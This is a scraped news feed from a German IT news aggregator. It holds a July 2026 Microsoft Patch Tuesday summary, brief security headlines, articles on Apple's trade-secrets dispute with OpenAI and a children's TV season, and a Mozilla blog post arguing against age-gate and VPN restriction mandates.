<li><a href="https://learn.microsoft.com/en-us/windows/win32/printdocs/print-spooler">Print Spooler</a>, <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a>, and MSMQ – critical RCE/EoP in the Print Spooler (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608">CVE-2026-58608</a>), <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">Windows Server Update Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444">CVE-2026-50444</a>), and <a href="https://learn.microsoft.com/en-us/windows/win32/rpc/overview-of-message-queuing-services-architecture">Message Queuing</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992">CVE-2026-54992</a>, “Exploitation More Likely”), all server-role attack surface.</li>
</ul>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-kernel-library">Windows Kernel</a> is the most-patched component (28 CVEs, seven “More Likely”), followed by <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> (21), Windows Runtime (17), Windows Media (14), <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.</p>



<h2 class="wp-block-heading">Microsoft Office</h2>



<p class="wp-block-paragraph">Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.</p>



<ul class="wp-block-list">
<li>SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522">CVE-2026-50522</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644">CVE-2026-58644</a>) and a critical security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040">CVE-2026-55040</a>). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.</li>



<li>Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033">CVE-2026-55033</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127">CVE-2026-55127</a> in Word, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043">CVE-2026-55043</a> in PowerPoint, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018">CVE-2026-55018</a> in Office), topped by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045">CVE-2026-55045</a>.</li>
</ul>



<p class="wp-block-paragraph">With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.</p>



<h2 class="wp-block-heading">Microsoft Exchange and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a></h2>



<p class="wp-block-paragraph">Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. <a href="https://learn.microsoft.com/en-us/exchange/">Exchange Server</a> returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.</p>



<ul class="wp-block-list">
<li>Exchange Server (on-premises) – <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008">CVE-2026-55008</a>, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005">CVE-2026-55005</a>) and two elevation-of-privilege flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006">CVE-2026-55006</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009">CVE-2026-55009</a>) round out the on-premises set. A separate Exchange Online elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998">CVE-2026-54998</a>, critical) is fixed service-side with no customer action.</li>



<li>SQL Server – two critical remote code execution flaws: <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117">CVE-2026-54117</a> (SQL Server 2025) and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118">CVE-2026-54118</a> (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.</li>
</ul>



<p class="wp-block-paragraph">Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.</p>



<h2 class="wp-block-heading">Microsoft developer tools</h2>



<p class="wp-block-paragraph">Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s <a href="https://code.visualstudio.com/">Visual Studio Code</a> concentration toward <a href="https://learn.microsoft.com/en-us/dotnet/core/introduction">.NET</a> and <a href="https://learn.microsoft.com/en-us/aspnet/core/overview?view=aspnetcore-10.0">ASP.NET Core</a>, where a run of denial-of-service entries dominates the volume:</p>



<ul class="wp-block-list">
<li>ASP.NET Core and .NET – the two highest-severity entries are ASP.NET Core elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300">CVE-2026-47300</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303">CVE-2026-47303</a>), ahead of a .NET security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528">CVE-2026-50528</a>) and two .NET / .NET Framework remote code execution flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646">CVE-2026-50646</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649">CVE-2026-50649</a>).</li>



<li><a href="https://learn.microsoft.com/en-us/visualstudio/get-started/visual-studio-ide?view=visualstudio">Visual Studio</a> and VS Code – a GitHub Copilot / Visual Studio Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109">CVE-2026-41109</a>) and a second VS Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102">CVE-2026-57102</a>) lead here, with a VS Code remote code execution entry behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520">CVE-2026-50520</a>) and a Visual Studio RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305">CVE-2026-47305</a>).</li>
</ul>



<p class="wp-block-paragraph">Add these Microsoft updates to your standard developer update release schedule.</p>



<h2 class="wp-block-heading">Adobe (and third-party updates)</h2>



<p class="wp-block-paragraph">Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Seattle Sounders FC pay tribute to S. ‘Soma’ Somasegar, beloved tech leader and team owner]]></title>
<description><![CDATA[The Seattle Sounders honored the late S. "Soma" Somasegar before Thursday night's match against the Portland Timbers, recognizing the Microsoft and Madrona leader, startup mentor, and Sounders minority owner whose impact extended far beyond Seattle's technology community. Read More]]></description>
<link>https://tsecurity.de/de/3676496/it-nachrichten/seattle-sounders-fc-pay-tribute-to-s-soma-somasegar-beloved-tech-leader-and-team-owner/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676496/it-nachrichten/seattle-sounders-fc-pay-tribute-to-s-soma-somasegar-beloved-tech-leader-and-team-owner/</guid>
<pubDate>Fri, 17 Jul 2026 17:33:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img fetchpriority="high" loading="eager" width="1260" height="945" src="https://cdn.geekwire.com/wp-content/uploads/2026/07/soma-1260x945.jpeg" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/07/soma-1260x945.jpeg 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/07/soma-768x576.jpeg 768w, https://cdn.geekwire.com/wp-content/uploads/2026/07/soma-1536x1152.jpeg 1536w, https://cdn.geekwire.com/wp-content/uploads/2026/07/soma-2048x1536.jpeg 2048w" sizes="(max-width: 1260px) 100vw, 1260px"><br>The Seattle Sounders honored the late S. "Soma" Somasegar before Thursday night's match against the Portland Timbers, recognizing the Microsoft and Madrona leader, startup mentor, and Sounders minority owner whose impact extended far beyond Seattle's technology community. <a href="https://www.geekwire.com/2026/seattle-sounders-fc-pay-tribute-to-s-soma-somasegar-beloved-tech-leader-and-team-owner/">Read More</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[In Other News: Iran Tracks US Military Phones, CrashStealer macOS Malware, CVD Blueprint]]></title>
<description><![CDATA[Noteworthy stories that might have slipped under the radar: OpenClaw AI agents exploited via WhatsApp, ransomware hits naval defense firm TKMS, Lidl discloses data breach. The post In Other News: Iran Tracks US Military Phones, CrashStealer macOS Malware, CVD Blueprint…
Read more →
The post In Ot...]]></description>
<link>https://tsecurity.de/de/3676393/it-security-nachrichten/in-other-news-iran-tracks-us-military-phones-crashstealer-macos-malware-cvd-blueprint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676393/it-security-nachrichten/in-other-news-iran-tracks-us-military-phones-crashstealer-macos-malware-cvd-blueprint/</guid>
<pubDate>Fri, 17 Jul 2026 17:10:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Noteworthy stories that might have slipped under the radar: OpenClaw AI agents exploited via WhatsApp, ransomware hits naval defense firm TKMS, Lidl discloses data breach. The post In Other News: Iran Tracks US Military Phones, CrashStealer macOS Malware, CVD Blueprint…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/in-other-news-iran-tracks-us-military-phones-crashstealer-macos-malware-cvd-blueprint/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/in-other-news-iran-tracks-us-military-phones-crashstealer-macos-malware-cvd-blueprint/">In Other News: Iran Tracks US Military Phones, CrashStealer macOS Malware, CVD Blueprint</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[In Other News: Iran Tracks US Military Phones, CrashStealer macOS Malware, CVD Blueprint]]></title>
<description><![CDATA[Noteworthy stories that might have slipped under the radar: OpenClaw AI agents exploited via WhatsApp, ransomware hits naval defense firm TKMS, Lidl discloses data breach.
The post In Other News: Iran Tracks US Military Phones, CrashStealer macOS Malware, CVD Blueprint appeared first on SecurityW...]]></description>
<link>https://tsecurity.de/de/3676344/it-security-nachrichten/in-other-news-iran-tracks-us-military-phones-crashstealer-macos-malware-cvd-blueprint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676344/it-security-nachrichten/in-other-news-iran-tracks-us-military-phones-crashstealer-macos-malware-cvd-blueprint/</guid>
<pubDate>Fri, 17 Jul 2026 16:38:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Noteworthy stories that might have slipped under the radar: OpenClaw AI agents exploited via WhatsApp, ransomware hits naval defense firm TKMS, Lidl discloses data breach.</p>
<p>The post <a href="https://www.securityweek.com/in-other-news-iran-tracks-us-military-phones-crashstealer-macos-malware-cvd-blueprint/">In Other News: Iran Tracks US Military Phones, CrashStealer macOS Malware, CVD Blueprint</a> appeared first on <a href="https://www.securityweek.com/">SecurityWeek</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple widens OpenAI trade secrets fight with preservation orders]]></title>
<description><![CDATA[Dozens of former Apple employees now working at OpenAI have been put on notice after Apple reportedly sent legal letters ordering them to preserve documents and communications relevant to its trade secrets lawsuit against OpenAI. 



The Financial Times reports that “around 40” employees have bee...]]></description>
<link>https://tsecurity.de/de/3676186/it-nachrichten/apple-widens-openai-trade-secrets-fight-with-preservation-orders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676186/it-nachrichten/apple-widens-openai-trade-secrets-fight-with-preservation-orders/</guid>
<pubDate>Fri, 17 Jul 2026 15:32:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Dozens of former Apple employees now working at OpenAI have been put on notice after Apple reportedly sent legal letters ordering them to preserve documents and communications relevant to its trade secrets lawsuit against OpenAI. </p>



<p class="wp-block-paragraph"><a href="https://www.ft.com/content/1b8c9d52-88a9-426b-ba47-f1811f859166" target="_blank" rel="noreferrer noopener">The Financial Times reports</a> that “around 40” employees have been targeted with these letters, which repeat Apple’s claim that its confidential information might have been exfiltrated, alleging “trade secret misappropriation and breach of contract.”  The letters also require them to arrange to meet with Apple’s lawyers.</p>



<h2 class="wp-block-heading"><strong>The underlying lawsuit</strong></h2>



<p class="wp-block-paragraph">This comes on the heels of <a href="https://www.computerworld.com/article/4195828/rotten-to-its-core-apple-files-an-explosive-lawsuit-against-openai.html">Apple’s explosive lawsuit against OpenAI</a> in which Apple accused the AI company (and former Apple Vice President Tang Tan) of extensive coordinated data theft. Tan was at Apple for 24 years and is now Chief Hardware Officer at OpenAI. </p>



<p class="wp-block-paragraph">Apple’s lawsuit is defined by claims OpenAI took a range of steps to pry confidential Apple data from existing Apple employees, including using information such as internal project code names, to gain even more knowledge during interviews. The company says the evidence it has presented so far is only the “tip of the iceberg” concerning OpenAI’s approach.</p>



<p class="wp-block-paragraph">The lawsuit requests that OpenAI be prevented from using any Apple information during the development of its hardware. Apple is also seeking damages and suing two former employees for breach of contract for violating their employment agreements.</p>



<p class="wp-block-paragraph">The letters are significant. They represent formal directives that require former Apple staff to preserve documents, messages, emails, and other communications that could be relevant to the case. The demand reflects Apple’s belief that the alleged misuse of confidential information could be more widespread across the competing company. What’s critical is that orders of this kind override any standard data destruction policy and deletion of the requested information becomes a legal offense. </p>



<h2 class="wp-block-heading"><strong>Why this matters beyond the protagonists</strong></h2>



<p class="wp-block-paragraph">In making its move, Apple shows this is not a dispute about just one or two hires, but an attempt to constrain the movement of intellectual property between the two firms. With AI hardware emerging as the next major battleground in tech, the case could become a defining one; whatever resolution is eventually reached could define the extent to which former employees can carry experience and knowledge between competing firms. The case might also define what the line is between experience and knowledge and the sharing of trade secrets.</p>



<p class="wp-block-paragraph">This is important, because modern hardware development relies on <a href="https://www.applemust.com/openai-discovers-it-takes-time-not-just-design-to-build-great-hardware/#google_vignette" target="_blank" rel="noreferrer noopener">far more than just finished designs</a>. Product design leans into supplier relationships, manufacturing assumptions, physics, extensive prototyping, and product-roadmap priorities. If courts treat those accumulated insights as protectable secrets, hiring between major technology companies could become far more legally sensitive.</p>



<h2 class="wp-block-heading"><strong>The Jony Ive question</strong></h2>



<p class="wp-block-paragraph">The case comes as Apple prepares to <a href="https://www.computerworld.com/article/3992592/jony-ive-and-openai-plan-bicycles-for-21st-century-minds.html">combat OpenAI in hardware</a>. Its competitor is <a href="https://openai.com/sam-and-jony/" target="_blank" rel="noreferrer noopener">now working with legendary former Apple designer Jony Ive</a>. Ive is not named in the litigation, but Apple will be keen to find out whether confidential product knowledge, design processes, or supply-chain insights have travelled with former staff into OpenAI’s device work.</p>



<p class="wp-block-paragraph">Ultimately, for Apple, it’s about protecting its many blueprints for whatever hardware the company expects will come after the iPhone.</p>



<p class="wp-block-paragraph">For its part, OpenAI has refuted Apple’s lawsuit, arguing that it is “not aware of any evidence” that the lawsuit has merit. “We have no interest in other companies’ trade secrets,” <a href="https://x.com/drewpusateri/status/2075708238650089981" target="_blank" rel="noreferrer noopener">said OpenAI spokesperson Drew Pusateri</a>. “We remain focused on building innovative technology that empowers people everywhere.” The company’s lawyers also <a href="https://appleinsider.com/articles/26/07/15/openai-blames-email-mixup-for-why-it-didnt-respond-to-apple-trade-theft-claims">claim it did respond to Apple’s initial inquiries</a> on the matter.</p>



<h2 class="wp-block-heading"><strong>What’s at stake</strong></h2>



<p class="wp-block-paragraph">The significance of Apple’s newly-shared communication preservation orders is that if discovery uncovers evidence supporting Apple’s claims, the case could complicate OpenAI’s hardware plans and create unwelcome scrutiny ahead of any future public offering.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple TV Confirms Stillwater Season 5 Release Date, All Episodes Arrive This August]]></title>
<description><![CDATA[Apple TV has confirmed the release date for Stillwater season 5, giving families another collection of gentle stories focused on emotions, friendship, and everyday challenges. The animated series will return globally on Friday, August 21, 2026, with all five new episodes arriving together.



The...]]></description>
<link>https://tsecurity.de/de/3676102/ios-mac-os/apple-tv-confirms-stillwater-season-5-release-date-all-episodes-arrive-this-august/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676102/ios-mac-os/apple-tv-confirms-stillwater-season-5-release-date-all-episodes-arrive-this-august/</guid>
<pubDate>Fri, 17 Jul 2026 14:54:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple TV has confirmed the release date for Stillwater season 5, giving families another collection of gentle stories focused on emotions, friendship, and everyday challenges. The animated series will return globally on Friday, August 21, 2026, with all five new episodes arriving together.



The new season continues the award-winning story of siblings Karl, Addy, and Michael, whose wise panda neighbor helps them understand their feelings and look at difficult situations from a calmer perspective. Viewers can currently stream the first four seasons on Apple TV.



Here are the main details about the upcoming season:




Release date: Friday, August 21, 2026



Number of episodes: Five



Release schedule: All episodes will arrive together



Genre: Animated kids and family series



Start airing date: August 21, 2026



Finish date: August 21, 2026



Where to watch: Apple TV



Main voice cast: James Sie, Eva Ariel Binder, Tucker Chandler, and Judah Mackey




What is Stillwater season 5 about?







Stillwater follows Karl, Addy, and Michael as they deal with problems that feel familiar to young viewers, including disappointment, uncertainty, disagreements, and fear of trying something new.



Their neighbor Stillwater listens to their concerns and often shares a thoughtful story that helps them see the situation differently. His advice encourages the children to slow down, understand their emotions, and find their own way forward.



Season 5 will continue this familiar format through five new adventures. Each episode will focus on the children learning more about themselves, their relationships, and the world around them. The series remains inspired by Jon J Muth’s bestselling Zen book collection.



The first look at the season shows Stillwater returning alongside the three siblings, suggesting that the new episodes will maintain the peaceful visual style and warm storytelling that have defined the show since its 2020 debut.



There are currently no major plot details or episode descriptions available, so viewers will need to wait for a trailer or further announcements to learn which specific challenges Karl, Addy, and Michael will face.




https://www.youtube.com/watch?v=zz1GkcvkT1g




FAQs



When is the Stillwater season 5 release date?



Stillwater season 5 will premiere globally on Apple TV on Friday, August 21, 2026.



How many episodes are in Stillwater season 5?



The fifth season contains five new episodes. Apple TV will release all five episodes on the premiere date, allowing families to watch the full season immediately.



Will Stillwater season 5 release weekly?



No. All five episodes will become available together on August 21, 2026.



Who voices Stillwater in the animated series?



James Sie voices Stillwater. The main cast also includes Eva Ariel Binder as Addy, Tucker Chandler as Michael, and Judah Mackey as Karl.



Is Stillwater suitable for children?



Yes. Stillwater is an animated kids and family series that focuses on emotional awareness, mindfulness, kindness, and solving everyday problems.



Where can I watch the previous seasons?



All four previous seasons are available to stream on Apple TV before season 5 arrives.



Is Stillwater season 5 the final season?



Apple TV has announced the fifth season but has not officially described it as the final season. Its future beyond these five episodes remains unconfirmed.



Apple TV costs $12.99 per month in the United States after a seven-day free trial. With every new episode arriving on the same day, families can watch Stillwater season 5 at their own pace from August 21. Do you plan to watch the new season? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Hot Wheels Infinite Rush: Vier Inseln und ein früherer Start]]></title>
<description><![CDATA[Mit Hot Wheels Infinite Rush überführt Milestone die Spielzeugautos erstmals in eine zusammenhängende offene Spielwelt. Der neue Trailer der Reihe „Beyond the Track“ zeigt nun Wheelswood, Tentacle Bay, Gearville und Drifty Temples samt ihrer unterschiedlichen Landschaften und Herausforderungen.]]></description>
<link>https://tsecurity.de/de/3675969/it-nachrichten/hot-wheels-infinite-rush-vier-inseln-und-ein-frueherer-start/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675969/it-nachrichten/hot-wheels-infinite-rush-vier-inseln-und-ein-frueherer-start/</guid>
<pubDate>Fri, 17 Jul 2026 14:03:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://pics.computerbase.de/1/2/3/8/2/6-8a4f48348d8daa45/article-640x360.dae47e4a.jpg"><p>Mit Hot Wheels Infinite Rush überführt Milestone die Spielzeugautos erstmals in eine zusammenhängende offene Spielwelt. Der neue Trailer der Reihe „Beyond the Track“ zeigt nun Wheelswood, Tentacle Bay, Gearville und Drifty Temples samt ihrer unterschiedlichen Landschaften und Herausforderungen.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla Privacy Blog: Beyond technical fixes: Protecting kids online without breaking the internet]]></title>
<description><![CDATA[This is part one of a two-part series in which we explore approaches to protecting children online while safeguarding privacy, security and the open web. Part one covers our concerns regarding age gates, and alternative policy proposals that address the root causes of online harms. 
Young people ...]]></description>
<link>https://tsecurity.de/de/3675858/tools/mozilla-privacy-blog-beyond-technical-fixes-protecting-kids-online-without-breaking-the-internet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675858/tools/mozilla-privacy-blog-beyond-technical-fixes-protecting-kids-online-without-breaking-the-internet/</guid>
<pubDate>Fri, 17 Jul 2026 13:10:44 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>This is part one of a two-part series in which we explore approaches to protecting children online while safeguarding privacy, security and the open web. Part one covers our concerns regarding age gates, and alternative policy proposals that address the root causes of online harms. </i></p>
<p>Young people today have unprecedented opportunities to learn, connect, and explore — not just the web and the world, but also themselves. With the increased ubiquity of digital technologies and devices, worries around the <a href="https://www.nature.com/articles/s41562-018-0506-1">relationship between these technologies and young people’s well-being</a> have grown, too. While concerns about the societal implications of new technologies is <a href="https://journals.sagepub.com/doi/10.1177/1745691620919372">not a new phenomenon</a>, <a href="https://www.science.org/doi/10.1126/science.adt6807">experts argue</a> that the accelerating speed of deployment of new technologies has outpaced scientists’ capacity to feed into policy recommendations addressing risks. A growing body of research <a href="https://osf.io/preprints/psyarxiv/m38u6_v2">documents</a> the harms experienced by young people online and the challenges <a href="https://ijse.padovauniversitypress.it/2024/1/8">reported</a> by parents attempting to mediate their kids’ technology use. At the same time, experts highlight the importance of contextual factors like <a href="https://www.nature.com/articles/s41562-025-02134-4">existing mental health conditions</a>, <a href="https://onlinelibrary.wiley.com/doi/full/10.1002/jad.12193">socio-economic circumstances</a> and <a href="https://www.sciencedirect.com/science/article/pii/S0747563224000244">parental mediation</a> to understand the real-world effects of digital technologies.</p>
<p>Faced with this complexity, and mounting public pressure, policymakers around the world are urgently seeking ways to improve child safety online. Driven by a sense of time running out and promises of new <a href="https://www.schneier.com/blog/archives/2026/05/laurie-anderson-is-quoting-me.html">technical solutions</a> to difficult questions, this has led, <a href="https://avpassociation.com/map/">across jurisdictions</a>, to proposals to restrict young people’s access to certain technologies or platforms by introducing age assurance mandates.</p>
<p>Privacy and user empowerment have always formed a core part of Mozilla’s mission. As <a href="https://blog.mozilla.org/netpolicy/2025/12/19/australias-social-media-ban-why-age-limits-wont-fix-what-is-wrong-with-online-platforms/">we have said before</a>, we support safer spaces for minors, but we caution against approaches that rely on identity checks, surveillance-based enforcement, or exclusionary defaults. Such interventions rely on the collection of personal and sensitive data and, thus, introduce major new privacy and security risks.</p>
<p>While many technologies exist to verify, estimate, or infer users’ ages, fundamental tensions around accessibility, their effectiveness and effects on user’s privacy, security and free expression <a href="https://kgi.georgetown.edu/wp-content/uploads/2026/01/Age_Assurance_Online_Technical-Assessment_Report_KGI.pdf">remain</a>. Technological approaches must be part of wider efforts to address the root causes of online harms. However, the deployment of age assurance technologies will not solve the complex challenge of preparing young people to navigate an increasingly online world and ensure their wellbeing. That will require more holistic approaches: offering education and support to navigate the web safely, addressing harmful business practices and acknowledging the offline factors shaping children’s lives including social inequality, poverty or disparate access to (mental) health care services.</p>
<p><em><b>Ineffective age-gating mandates and the dangerous shift toward VPN restrictions</b></em></p>
<p>As jurisdictions around the world gain experience with government-mandated age gates for certain services, evidence is mounting that age restrictions are not an effective policy tool. Avoiding age gates is widespread and trivially easy: In Australia, where minors under 16 year of age have been banned from certain social media platforms since December 2025, the government’s Compliance Update <a href="https://www.esafety.gov.au/sites/default/files/2026-03/SocialMediaMinimumAgeComplianceUpdateMarch2026.pdf?v=1775600939713">reports</a> that seven out of ten young Australians remain online, often skirting age checks by simply entering a fake birthdate. A recent <a href="https://www.internetmatters.org/wp-content/uploads/2026/04/Internet-Matters-Online-Safety-Act-Report-May-2026.pdf">study</a> on the implementation of the UK’s Online Safety Act found that a third of children have bypassed age gates with fairly trivial steps like faking their birthdate, borrowing someone else’s login credentials, or even drawing on facial hair, and that a quarter of parents have helped their children to bypass age assurance systems. In the US, <a href="https://www.ftc.gov/sites/default/files/documents/public_comments/massachusetts-00243%C2%A0/00243-82161.pdf">studies</a> indicate that as far back as 2011, 64% of parents who were aware their child under 13 had a social media account were also ones who helped them create that account.</p>
<p>Confronted with the apparent ineffectiveness of age gates, policymakers around the world seem to be shifting their attention to alleged circumvention tools. While <a href="https://www.internetmatters.org/wp-content/uploads/2026/04/Internet-Matters-Online-Safety-Act-Report-May-2026.pdf">research</a> shows that many young people bypass age barriers by using other people’s devices and accounts or tricking age estimation tools by making themselves look older, virtual private networks (VPNs) are <a href="https://www.europarl.europa.eu/RegData/etudes/ATAG/2026/782618/EPRS_ATA(2026)782618_EN.pdf">increasingly</a> <a href="https://www.bbc.com/news/articles/cn438z3ejxyo">framed</a> as primarily a “loophole” to age gates. VPNs create encrypted “tunnels” between a user’s device and the internet, protecting all internet traffic from that device and concealing users’ IP addresses. VPNs are an essential privacy and security resource for millions of users worldwide, <a href="https://home.crin.org/the-big-debates/vpns-for-children">including young people</a>.</p>
<p><a href="https://www.eff.org/deeplinks/2026/04/utahs-new-law-regulating-vpns-goes-effect-next-week">Utah’s recent age verification law</a> holds websites hosting age-restricted content liable for verifying the age of anyone physically located in Utah, including individuals using VPNs or proxies. While the law does not ban VPNs outright, it forces websites to either block known VPN IP addresses or verify the age of every visitor globally. In the UK, policymakers <a href="https://www.bbc.com/news/articles/c9824zvpz9po">debated</a> <a href="https://www.bbc.com/news/articles/cn438z3ejxyo">age gates</a> for VPNs extensively, but <a href="https://www.bbc.com/news/articles/c982857nlrlo">stopped short</a> of restricting VPNs after <a href="https://www.gov.uk/government/publications/childrens-circumvention-behaviours-online?utm_medium=email&amp;utm_campaign=govuk-notifications-topic&amp;utm_source=97439257-1368-42dd-835e-2ecc1f690097&amp;utm_content=immediately">new evidence</a> <a href="https://vpntrust.net/2026/07/08/new-yougov-research-finds-vpns-are-not-widely-used-by-children-to-avoid-age-checks/?msg_pos=1">confirmed</a> that VPNs are not a relevant pathway for children seeking to bypass age checks. In Brazil, the ECA Digital law <a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2026/decreto/d12880.htm">empowers</a> the regulatory authority to order technical countermeasures against circumvention tools such as VPNs. These developments suggest a worrying trend: well-meaning but ineffective attempts to protect children risk undermining the fundamental rights to privacy, security, and free expression of all users, as well as the health and openness of the web itself.</p>
<p>We are convinced, however, that there are rights-respecting alternatives policymakers can pursue to empower young people online and improve their safety and well-being.</p>
<p><em><strong>Moving beyond access bans</strong></em></p>
